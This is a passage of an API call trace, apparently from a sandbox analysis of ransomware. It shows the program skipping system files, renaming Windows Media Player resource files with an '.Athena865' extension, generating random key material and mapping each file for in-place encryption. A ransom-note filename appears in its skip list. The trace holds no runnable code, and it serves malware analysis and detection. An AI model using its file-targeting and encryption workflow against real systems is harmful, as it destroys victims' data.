Player\\en-US\\WMPMediaSharing.dll.mui.Athena865") returned 77 [0090.915] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpmediasharing.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpmediasharing.dll.mui.athena865"), dwFlags=0x1) returned 1 [0090.916] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpmediasharing.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.916] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0090.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.917] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.917] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.917] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.917] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x154 [0090.919] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0090.920] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.921] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.921] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.922] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.922] CloseHandle (hObject=0x154) returned 1 [0090.922] CloseHandle (hObject=0x17c) returned 1 [0090.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.922] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnetwk.exe.mui", cAlternateFileName="")) returned 1 [0090.922] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.922] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.922] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2=".") returned 1 [0090.922] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="..") returned 1 [0090.922] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="windows") returned 1 [0090.922] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="bootmgr") returned 1 [0090.922] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="temp") returned 1 [0090.922] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="pagefile.sys") returned 1 [0090.922] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="boot") returned 1 [0090.922] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="ids.txt") returned 1 [0090.922] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="ntuser.dat") returned 1 [0090.923] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="perflogs") returned 1 [0090.923] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2="MSBuild") returned 1 [0090.923] lstrlenW (lpString="wmpnetwk.exe.mui") returned 16 [0090.923] lstrcpyW (in: lpString1=0x241e8a0, lpString2="wmpnetwk.exe.mui" | out: lpString1="wmpnetwk.exe.mui") returned="wmpnetwk.exe.mui" [0090.923] lstrlenW (lpString="wmpnetwk.exe.mui") returned 16 [0090.923] lstrlenW (lpString="Athena865") returned 9 [0090.923] lstrcmpiW (lpString1="k.exe.mui", lpString2="Athena865") returned 1 [0090.923] lstrlenW (lpString=".dll") returned 4 [0090.923] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2=".dll") returned 1 [0090.923] lstrlenW (lpString=".lnk") returned 4 [0090.923] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2=".lnk") returned 1 [0090.923] lstrlenW (lpString=".ini") returned 4 [0090.923] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2=".ini") returned 1 [0090.923] lstrlenW (lpString=".sys") returned 4 [0090.923] lstrcmpiW (lpString1="wmpnetwk.exe.mui", lpString2=".sys") returned 1 [0090.923] lstrlenW (lpString="wmpnetwk.exe.mui") returned 16 [0090.923] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\en-US\\wmpnetwk.exe.mui.Athena865") returned 70 [0090.923] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnetwk.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnetwk.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnetwk.exe.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnetwk.exe.mui.athena865"), dwFlags=0x1) returned 1 [0090.925] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnetwk.exe.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnetwk.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.925] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37376) returned 1 [0090.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.925] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.926] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.926] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.926] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9500, lpName=0x0) returned 0x154 [0090.928] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9500) returned 0x100000 [0090.930] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.931] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.931] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.932] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.932] CloseHandle (hObject=0x154) returned 1 [0090.932] CloseHandle (hObject=0x17c) returned 1 [0090.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.933] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnscfg.exe.mui", cAlternateFileName="")) returned 1 [0090.933] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.933] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.933] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2=".") returned 1 [0090.933] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="..") returned 1 [0090.933] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="windows") returned 1 [0090.933] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="bootmgr") returned 1 [0090.933] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="temp") returned 1 [0090.933] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="pagefile.sys") returned 1 [0090.933] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="boot") returned 1 [0090.933] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="ids.txt") returned 1 [0090.933] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="ntuser.dat") returned 1 [0090.933] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="perflogs") returned 1 [0090.933] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="MSBuild") returned 1 [0090.933] lstrlenW (lpString="wmpnscfg.exe.mui") returned 16 [0090.933] lstrcpyW (in: lpString1=0x241e8a0, lpString2="wmpnscfg.exe.mui" | out: lpString1="wmpnscfg.exe.mui") returned="wmpnscfg.exe.mui" [0090.933] lstrlenW (lpString="wmpnscfg.exe.mui") returned 16 [0090.933] lstrlenW (lpString="Athena865") returned 9 [0090.933] lstrcmpiW (lpString1="g.exe.mui", lpString2="Athena865") returned 1 [0090.933] lstrlenW (lpString=".dll") returned 4 [0090.933] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2=".dll") returned 1 [0090.934] lstrlenW (lpString=".lnk") returned 4 [0090.934] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2=".lnk") returned 1 [0090.934] lstrlenW (lpString=".ini") returned 4 [0090.934] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2=".ini") returned 1 [0090.934] lstrlenW (lpString=".sys") returned 4 [0090.934] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2=".sys") returned 1 [0090.934] lstrlenW (lpString="wmpnscfg.exe.mui") returned 16 [0090.934] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\en-US\\wmpnscfg.exe.mui.Athena865") returned 70 [0090.934] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnscfg.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnscfg.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnscfg.exe.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnscfg.exe.mui.athena865"), dwFlags=0x1) returned 1 [0090.935] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnscfg.exe.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnscfg.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.935] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0090.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.935] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.936] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.936] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.936] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x154 [0090.938] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0090.938] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.939] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.939] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.940] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.940] CloseHandle (hObject=0x154) returned 1 [0090.940] CloseHandle (hObject=0x17c) returned 1 [0090.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.940] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1 [0090.940] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.940] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.940] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".") returned 1 [0090.940] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="..") returned 1 [0090.940] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="windows") returned 1 [0090.940] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="bootmgr") returned 1 [0090.940] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="temp") returned 1 [0090.940] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="pagefile.sys") returned 1 [0090.940] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="boot") returned 1 [0090.940] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="ids.txt") returned 1 [0090.941] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="ntuser.dat") returned 1 [0090.941] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="perflogs") returned 1 [0090.941] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="MSBuild") returned 1 [0090.941] lstrlenW (lpString="wmpnssci.dll.mui") returned 16 [0090.941] lstrcpyW (in: lpString1=0x241e8a0, lpString2="wmpnssci.dll.mui" | out: lpString1="wmpnssci.dll.mui") returned="wmpnssci.dll.mui" [0090.941] lstrlenW (lpString="wmpnssci.dll.mui") returned 16 [0090.941] lstrlenW (lpString="Athena865") returned 9 [0090.941] lstrcmpiW (lpString1="i.dll.mui", lpString2="Athena865") returned 1 [0090.941] lstrlenW (lpString=".dll") returned 4 [0090.941] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".dll") returned 1 [0090.941] lstrlenW (lpString=".lnk") returned 4 [0090.941] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".lnk") returned 1 [0090.941] lstrlenW (lpString=".ini") returned 4 [0090.941] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".ini") returned 1 [0090.941] lstrlenW (lpString=".sys") returned 4 [0090.941] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".sys") returned 1 [0090.941] lstrlenW (lpString="wmpnssci.dll.mui") returned 16 [0090.941] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssci.dll.mui.Athena865") returned 70 [0090.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssci.dll.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnssci.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssci.dll.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnssci.dll.mui.athena865"), dwFlags=0x1) returned 1 [0090.948] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssci.dll.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnssci.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.949] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4096) returned 1 [0090.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.949] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.950] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.950] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.956] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1300, lpName=0x0) returned 0x154 [0090.958] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1300) returned 0x100000 [0090.959] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.959] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.959] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.960] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.960] CloseHandle (hObject=0x154) returned 1 [0090.960] CloseHandle (hObject=0x17c) returned 1 [0090.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.961] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".") returned 1 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="..") returned 1 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="windows") returned 1 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="bootmgr") returned 1 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="temp") returned 1 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="pagefile.sys") returned 1 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="boot") returned 1 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="ids.txt") returned 1 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="ntuser.dat") returned 1 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="perflogs") returned 1 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="MSBuild") returned 1 [0090.961] lstrlenW (lpString="wmpnssui.dll.mui") returned 16 [0090.961] lstrcpyW (in: lpString1=0x241e8a0, lpString2="wmpnssui.dll.mui" | out: lpString1="wmpnssui.dll.mui") returned="wmpnssui.dll.mui" [0090.961] lstrlenW (lpString="wmpnssui.dll.mui") returned 16 [0090.961] lstrlenW (lpString="Athena865") returned 9 [0090.961] lstrcmpiW (lpString1="i.dll.mui", lpString2="Athena865") returned 1 [0090.961] lstrlenW (lpString=".dll") returned 4 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".dll") returned 1 [0090.961] lstrlenW (lpString=".lnk") returned 4 [0090.961] lstrcmpiW (lpString1="wmpnssui.dll.mui", 